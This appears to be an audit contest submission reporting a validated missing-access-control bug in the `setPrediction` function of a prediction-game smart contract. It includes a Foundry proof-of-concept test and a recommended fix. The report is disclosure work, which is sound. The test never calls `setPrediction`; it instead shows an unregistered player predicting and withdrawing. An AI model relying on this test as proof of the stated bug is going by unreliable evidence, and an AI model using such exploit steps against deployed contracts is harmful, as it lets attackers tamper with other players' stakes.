Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Lack of access control in the `setPrediction` function causing a user to change another player's prediction

Summary

Lack of access control in the setPrediction function causing a user to change another player's prediction

Vulnerability Details

The setPrediction function lack access control check thereby allowing a random to call setPrediction passing user address as the function argument and chnage prediction that has been previously made by another

Impact

Players will lose reward if the prediction made by the random caller is wrong

Proof of concept

Here is a foundry test you can add to the ThePredicter.test.sol file to demostrate the exploit

Proof Of Code
function test_playerCanPredictWithoutRegistering() public {
address stranger2 = makeAddr("stranger2");
address stranger3 = makeAddr("stranger3");
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
vm.stopPrank();
vm.startPrank(stranger2);
vm.deal(stranger2, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger3);
vm.deal(stranger3, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
// other users being approved by the organisers excluding user "stranger"
vm.startPrank(organizer);
thePredicter.approvePlayer(stranger2);
thePredicter.approvePlayer(stranger3);
vm.stopPrank();
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.First
);
vm.stopPrank();
vm.startPrank(stranger2);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.Draw
);
vm.stopPrank();
vm.startPrank(stranger3);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.First
);
vm.stopPrank();
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.First);
scoreBoard.setResult(1, ScoreBoard.Result.First);
scoreBoard.setResult(2, ScoreBoard.Result.First);
scoreBoard.setResult(3, ScoreBoard.Result.First);
scoreBoard.setResult(4, ScoreBoard.Result.First);
scoreBoard.setResult(5, ScoreBoard.Result.First);
scoreBoard.setResult(6, ScoreBoard.Result.First);
scoreBoard.setResult(7, ScoreBoard.Result.First);
scoreBoard.setResult(8, ScoreBoard.Result.First);
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.withdrawPredictionFees();
vm.stopPrank();
vm.startPrank(stranger);
thePredicter.withdraw();
// User "stranger" is able to withdraw without registering
vm.stopPrank();
console.log(address(stranger2).balance);
console.log(address(stranger3).balance);
//confirms that the stranger who did not register was able to predict and win prize
assertGe(address(stranger).balance, 1 ether);
// Expected Log showing each user status
// stranger ---- Unknown
// stranger2 ---- Approved
// stranger3 ---- Approved
console.log(
"stranger ----",
getStatusString(thePredicter.playersStatus(stranger))
);
console.log(
"stranger2 ----",
getStatusString(thePredicter.playersStatus(stranger2))
);
console.log(
"stranger3 ----",
getStatusString(thePredicter.playersStatus(stranger3))
);
}

Tools Used

Manual Review

Recommendations

the setPrediction function should include a check to ensure the msg.sender can only change their own prediction

Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

setPrediction lacks access control

setPrediction has no access control and allows manipulation to Players' predictions.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.